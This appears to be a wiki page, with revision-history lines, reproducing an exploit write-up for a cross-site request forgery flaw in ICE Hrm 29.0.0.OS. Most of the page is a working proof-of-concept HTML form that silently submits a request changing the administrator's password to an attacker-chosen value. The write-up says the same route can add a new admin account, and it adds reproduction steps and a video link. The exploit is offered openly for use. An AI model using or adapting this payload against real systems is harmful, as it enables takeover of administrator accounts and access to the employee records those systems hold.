Pwnwiki: Created page with "

 # Exploit Title: ICE Hrm 29.0.0.OS - 'Account Takeover' Cross-Site Request Forgery (CSRF) # Exploit Author: *Piyush Patil* & Rafal Lykowski # Vendor Homepage: https://ic..."

2021-06-19T01:18:02Z

Created page with "<pre> # Exploit Title: ICE Hrm 29.0.0.OS - 'Account Takeover' Cross-Site Request Forgery (CSRF) # Exploit Author: *Piyush Patil* & Rafal Lykowski # Vendor Homepage: https://ic..."

New page

<pre>
# Exploit Title: ICE Hrm 29.0.0.OS - 'Account Takeover' Cross-Site Request Forgery (CSRF)
# Exploit Author: *Piyush Patil* & Rafal Lykowski
# Vendor Homepage: https://icehrm.com/
# Version: 29.0.0.OS
# Tested on: Windows 10 and Kali

#Description
ICE Hrm Version 29.0.0.OS is vulnerable to CSRF which allows attacker to add new admin account or change the password leading to full account takeover.

#Steps to reproduce the attack:
1- Login as victim
2- Open the CSRF malicious file which I have attached (csrf_POC.html)

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8070/app/service.php">
<input type="hidden" name="t" value="User" />
<input type="hidden" name="a" value="ca" />
<input type="hidden" name="sa" value="changePassword" />
<input type="hidden" name="mod" value="admin=users" />
<input type="hidden" name="req"
value="{"id":1,"pwd":"Hacker123#"}"
/>
<input type="submit" value="Submit request" />
</form>
</body>
</html>

3- Password is changed (you can also add new admin user)

Now you can simply takeover the account

#Video POC:
https://drive.google.com/file/d/1uUciTcFEkQ5P_R37QBswNrVbOPqzngpX/view?usp=sharing
</pre>

ICE Hrm 29.0.0.OS - 'Account Takeover' CSRF漏洞 - Revision history

Pwnwiki: Created page with "
# Exploit Title: ICE Hrm 29.0.0.OS - 'Account Takeover' Cross-Site Request Forgery (CSRF) # Exploit Author: Piyush Patil & Rafal Lykowski # Vendor Homepage: https://ic..."